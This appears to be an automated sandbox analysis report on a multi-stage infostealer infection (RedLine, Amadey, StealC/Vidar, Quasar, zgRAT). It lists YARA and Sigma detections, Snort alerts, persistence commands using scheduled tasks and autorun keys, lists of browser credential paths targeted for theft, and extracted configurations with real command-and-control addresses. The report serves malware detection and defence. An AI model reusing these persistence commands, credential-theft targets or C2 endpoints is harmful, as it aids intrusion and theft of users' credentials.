5.2.RegAsm.exe.482040.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.2.RegAsm.exe.482040.2.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x49161:$s1: file:/// 0x49099:$s2: {11111-22222-10009-11112} 0x490f1:$s3: {11111-22222-50001-00000} 0x45dc8:$s4: get_Module 0x3fe7b:$s5: Reverse 0x40c30:$s6: BlockCopy 0x3fe67:$s7: ReadByte 0x49173:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
18.2.hello.exe.6c3a3000.4.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
18.2.hello.exe.6c3a3000.4.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
18.2.hello.exe.6c380000.3.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
18.2.hello.exe.6c380000.3.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
5.2.RegAsm.exe.436040.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.Freshbuild.exe.870000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.Freshbuild.exe.870000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.0.Z73fDV6g4L.exe.aa0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
20.2.aspnet_regiis.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.2.aspnet_regiis.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
20.2.aspnet_regiis.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.2.aspnet_regiis.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
5.2.RegAsm.exe.400000.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.2.RegAsm.exe.400000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.2.RegAsm.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.2.RegAsm.exe.482040.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.2.RegAsm.exe.482040.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.0.VP2pdCInvS.exe.890000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.mlk3kK6uLZ.exe.b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.0.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.0.Z73fDV6g4L.exe.aa0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.hello.exe.6c3a3000.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
18.2.hello.exe.6c3a3000.4.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
5.2.RegAsm.exe.482040.2.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4af61:$s1: file:/// 0x4ae99:$s2: {11111-22222-10009-11112} 0x4aef1:$s3: {11111-22222-50001-00000} 0x47bc8:$s4: get_Module 0x41c7b:$s5: Reverse 0x42a30:$s6: BlockCopy 0x41c67:$s7: ReadByte 0x4af73:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
5.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xca1a1:$s1: file:/// 0xca0d9:$s2: {11111-22222-10009-11112} 0xca131:$s3: {11111-22222-50001-00000} 0xc6e08:$s4: get_Module 0x52fc2:$s5: Reverse 0xc0ebb:$s5: Reverse 0xc1c70:$s6: BlockCopy 0xc0ea7:$s7: ReadByte 0xca1b3:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
25.0.newstart.exe.ec0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
9.0.Z73fDV6g4L.exe.aa0000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4af61:$s1: file:/// 0x4ae99:$s2: {11111-22222-10009-11112} 0x4aef1:$s3: {11111-22222-50001-00000} 0x47bc8:$s4: get_Module 0x41c7b:$s5: Reverse 0x42a30:$s6: BlockCopy 0x41c67:$s7: ReadByte 0x4af73:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
5.2.RegAsm.exe.436040.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
26.0.Hkbsse.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.axplong.exe.9c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.axplong.exe.9c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
42.2.svchost.exe.1b0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
42.2.svchost.exe.1b0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
42.2.svchost.exe.1b0000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x258cd0:$x1: Quasar.Common.Messages 0x267eb0:$x1: Quasar.Common.Messages 0x274909:$x4: Uninstalling... good bye :-( 0x27602e:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
42.2.svchost.exe.1b0000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x273ebb:$f1: FileZilla\recentservers.xml 0x273efb:$f2: FileZilla\sitemanager.xml 0x273f3d:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x274189:$b1: Chrome\User Data\ 0x2741df:$b1: Chrome\User Data\ 0x2744b7:$b2: Mozilla\Firefox\Profiles 0x2745b3:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2c671d:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x27470b:$b4: Opera Software\Opera Stable\Login Data 0x2747c5:$b5: YandexBrowser\User Data\ 0x274833:$b5: YandexBrowser\User Data\ 0x274507:$s4: logins.json 0x27423d:$a1: username_value 0x27425b:$a2: password_value 0x274547:$a3: encryptedUsername 0x2c6661:$a3: encryptedUsername 0x27456b:$a4: encryptedPassword 0x2c667f:$a4: encryptedPassword 0x2c65fd:$a5: httpRealm
42.2.svchost.exe.1b0000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x146acf:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x146bc1:$s2: DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null 0x2749f3:$s3: Process already elevated. 0x2589f3:$s4: get_PotentiallyVulnerablePasswords 0x244819:$s5: GetKeyloggerLogsDirectory 0x2676c3:$s5: GetKeyloggerLogsDirectory 0x258a16:$s6: set_PotentiallyVulnerablePasswords 0x2c7e1e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x258cd0:$x1: Quasar.Common.Messages 0x267eb0:$x1: Quasar.Common.Messages 0x274909:$x4: Uninstalling... good bye :-( 0x27602e:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x273ebb:$f1: FileZilla\recentservers.xml 0x273efb:$f2: FileZilla\sitemanager.xml 0x273f3d:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x274189:$b1: Chrome\User Data\ 0x2741df:$b1: Chrome\User Data\ 0x2744b7:$b2: Mozilla\Firefox\Profiles 0x2745b3:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2c671d:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x27470b:$b4: Opera Software\Opera Stable\Login Data 0x2747c5:$b5: YandexBrowser\User Data\ 0x274833:$b5: YandexBrowser\User Data\ 0x274507:$s4: logins.json 0x27423d:$a1: username_value 0x27425b:$a2: password_value 0x274547:$a3: encryptedUsername 0x2c6661:$a3: encryptedUsername 0x27456b:$a4: encryptedPassword 0x2c667f:$a4: encryptedPassword 0x2c65fd:$a5: httpRealm
38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x146acf:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x146bc1:$s2: DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null 0x2749f3:$s3: Process already elevated. 0x2589f3:$s4: get_PotentiallyVulnerablePasswords 0x244819:$s5: GetKeyloggerLogsDirectory 0x2676c3:$s5: GetKeyloggerLogsDirectory 0x258a16:$s6: set_PotentiallyVulnerablePasswords 0x2c7e1e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
Click to see the 44 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, ProcessId: 2020, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe, ProcessId: 6308, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\espartu.exe

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 8.213.137.155, DestinationIsIpv6: false, DestinationPort: 10101, EventID: 3, Image: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, Initiated: true, ProcessId: 1772, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 59420

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", CommandLine: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, ParentCommandLine: "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe", ParentImage: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, ParentProcessId: 2020, ParentProcessName: FRaqbC8wSA1XvpFVjCRGryWt.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", ProcessId: 1772, ProcessName: svchost.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 43.153.49.49, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe, Initiated: true, ProcessId: 6360, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 58985

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe, ProcessId: 6308, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\espartu.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F, CommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe, ParentProcessId: 6308, ParentProcessName: ZharkBOT.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F, ProcessId: 7224, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", CommandLine: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe, ParentCommandLine: "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe", ParentImage: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, ParentProcessId: 2020, ParentProcessName: FRaqbC8wSA1XvpFVjCRGryWt.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe", ProcessId: 1772, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 6524, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe", ParentImage: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, ParentProcessId: 2020, ParentProcessName: FRaqbC8wSA1XvpFVjCRGryWt.exe, ProcessCommandLine: "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f, ProcessId: 2700, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.70 - Destination IP: 192.168.2.5

Timestamp:	07/13/24-07:07:04.553234
SID:	2051828
Source Port:	80
Destination Port:	58981
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:07:00.456748
SID:	2044623
Source Port:	58978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 185.172.128.33 - Destination IP: 192.168.2.5

Timestamp:	07/13/24-07:06:08.592536
SID:	2043234
Source Port:	8970
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:06:32.660417
SID:	2044623
Source Port:	58973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.70 - Destination IP: 192.168.2.5

Timestamp:	07/13/24-07:07:04.736461
SID:	2051831
Source Port:	80
Destination Port:	58981
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.70

Timestamp:	07/13/24-07:07:03.747294
SID:	2044243
Source Port:	58981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:07:03.629036
SID:	2044696
Source Port:	58980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:07:07.333581
SID:	2044696
Source Port:	58983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.5 - Destination IP: 185.172.128.33

Timestamp:	07/13/24-07:06:19.054947
SID:	2043231
Source Port:	49710
Destination Port:	8970
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 185.172.128.33 - Destination IP: 192.168.2.5

Timestamp:	07/13/24-07:06:13.939319
SID:	2046056
Source Port:	8970
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 185.172.128.33

Timestamp:	07/13/24-07:06:08.398513
SID:	2046045
Source Port:	49710
Destination Port:	8970
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.70

Timestamp:	07/13/24-07:07:04.374384
SID:	2044244
Source Port:	58981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.70

Timestamp:	07/13/24-07:07:04.555587
SID:	2044246
Source Port:	58981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:06:01.501384
SID:	2856147
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.81 - Destination IP: 192.168.2.5

Timestamp:	07/13/24-07:06:02.494732
SID:	2856122
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.81

Timestamp:	07/13/24-07:06:04.782188
SID:	2044696
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mlk3kK6uLZ.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Avira: detection malicious, Label: TR/AD.RedLineSteal.zwufg
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.70/570d5d5e8678366c.php"}
Source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.70/570d5d5e8678366c.php"}
Source: 22.0.Freshbuild.exe.870000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "185.172.128.116/Mb3GvQs8/index.php", "Version": "4.30"}
Source: 5.2.RegAsm.exe.436040.0.raw.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["185.172.128.33:8970"], "Bot Id": "@LOGSCLOUDYT_BOT", "Authorization Header": "3b888690d495b9792a58ef1c36d35d19"}
Source: 42.2.svchost.exe.1b0000.0.unpack	Malware Configuration Extractor: Quasar {"Version": "1.4.0", "Host:Port": "45.66.231.158:45764;", "SubDirectory": "Microsoft Windows", "InstallName": "svchost.exe", "MutexName": "80038a66-0dbb-4135-8eb1-4ce5a34ce41b", "StartupKey": "svchost", "Tag": "Proxy", "LogDirectoryName": "svchostetw", "ServerSignature": "DBA8F0Br++WlVnwMY+TOW3OLUcEzXGeCEpOjr8WUkG+2zCAq/kjzFN0ynUG7fVZJ2WnLgRMFCsnq+tQUyVRlD2d5OlDSd/89AGgSVE2v9+GKNyc798YKw+I8C5fQOSMPFpDgKf5dKMZdCkGYH88RdlMVn+P2IZysmei7aIdaN6ozqMBSJ3dYDd32Gz/nEv0PfLO8IH2gEmckMn0ox5+a1nQqWprOyOIvEwmwXM4zUb60JA3vXdZgUOqa8bXTE61J00WpLHW7n+ovTcw9xf6BrZayMnbNSF4c43JzJg8GPjLxCYEz4+4yc+T8TMveGuOTcMBoF6oh/rl43wMyyUWF6AqFMjQumJfK27M9e/Wt6/eym/Ny3Os3EA4F8rQjOEXaXg1n6VwK673sq38YoOFcOxJoBi7dwGCJ4nzNfFDgie/wOGhfen9yfDxk9+TXmKq2vsVjbElYLuFTnj/97F0vhIy6r4GoJyckl6ueQ89BUx5BJZuxY+Ne9C7v0qRhPNAasRpGjp/+Z9bQOvzTJKp1qFsQjtBRVxBycTB1ot1jg1jEBnZ/Iz+gT1GqQTeJ0vvsFjJcm7PwI3lJ+lzd9fhixiWe77RTDl8B4sDgf6+1WkUd//2uAnhNIJt81NkDMmmpjYbygCBOnGGY4qyqKgDsTtS+QZS1vUCgN8VZTlofKZY=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAMfljgRljIw8eG6/KAHpETANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MDcwOTE5MTA0OFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAhkNgzYkaEwf7PBmR34/tzDkjeq0EJR6st02BJKB6Pn0eymJW5ztCKBjJWcj7ostsw1a8yLjTRhlPG2yTbAptsqGR7yW4Vx5EcTnJN1gnpbsHwMV0Nt46dJUsXGzDmSnMeazOYj9kusu/ppQkNYizfvV4De9PrDSyr/buwR4wWMZ/VpIW4LYCSKfrR/MhCV+RoWrr9hEYAw239t3sCQxo1aXlje5PyfqMXfjsHpecZazN08hwj3Rt08LVr3X8PZAn+mEqltOhyp+dEbQYK8S/2DYVp5OrTrRSrbY8cl06nAKMAPXobfLQ1yn9CnlwMUyV+B7GU0wWCK0JsUrfczniucg4bAGnQY+fAwnmM4LT/5T6wZlBgJABkyRW02Vi7vKtU+FQTpBq7lWVZIc5zJXgavwJl+WF7xwdNG/aiDItl2gZ7AqhS6zXo6+jmYUt1Tz5NgVjxtEZPEZ3SmMWYIYmBN4De8cP6wdv70w0csE65l3eyOpTf6Ez24x14kqk+dBzn3DH/wSSW6Y3XY/Fx3TL596pw+rOCD9OQx5SkYwEm39k3LZxvPSkbXrGTemBi12Khp23CypLECFMNYooDz+/5pLVwrRqkXEqaHYpeQ3F0uYlJwzlWVGZRtSg1vKkfrsR3f9/zaEvwMhhjx/xf+qXBvHkqEav9yJKYF8FI+Vf0jcCAwEAAaMyMDAwHQYDVR0OBBYEFPZB8zAaPEqcMz49Nz1nOdAlp926MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAAAxAkkSUk3Kt0Auf6XkCxIqotC09vm7t3YkEiQXeEA6YUTSBorR9g1WMAqxBQys9A5TFGUEOukXrVVpTljXKiWo5FzVptTd+dXTgu+KmhVEOobIaAiXvyccvRZcv6b/+bvG6Mag7bU8+hxwMHpne2DbOHO9ediM8FPK0uNEvQbYjJczQEOzJBdUQt4tNEn9vzJNH5a4JF1MJ0FAYR7B7gjuC+7jgFIrjioNyWfF0WktB38DGWxYKwl5kvq0KoZdwrNPlm2cceBnf9fHSyvRjfCbQXZ+voLsp2O9QAKYxy3zrLGsLZ313jI0h9pwySVxI+Pv7LYcBnJbg6843wjV3Sp13KUJDn944Nzxkwy76VOTCtb+/lZg3xZ5H1c1AlHlP0WqfpQV+L97HOO+PYBDKNGfU/ZcsQfUdWfboIueM85bxeIIjbhIn471OrVUCs13j67bSGtZkhpuhd2jyfiEU5koRWFPQZjEt7vbfAHFRh6mnFk1B4Jm7yZK3VHd360QFwEc6EKxQ18kh6TEK15D7l+/oUd3uIOM/WqkQzfW2QVkL943vW1pzaobeM3lcoOXVMV1dFnyXOi8/u/0++oc9vRjwLY6RvHGGqjTIWRsO1ULsoaMi7o9NtHE+vfDYe+f3+4TYlBB7Z+WpQc6lCqgFk/aZnoR0tYWs2gd1G23+691"}

Multi AV Scanner detection for domain / URL

Source: bflow-musico.fun	Virustotal: Detection: 12%			Perma Link
Source: foodbook.live	Virustotal: Detection: 13%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	ReversingLabs: Detection: 91%
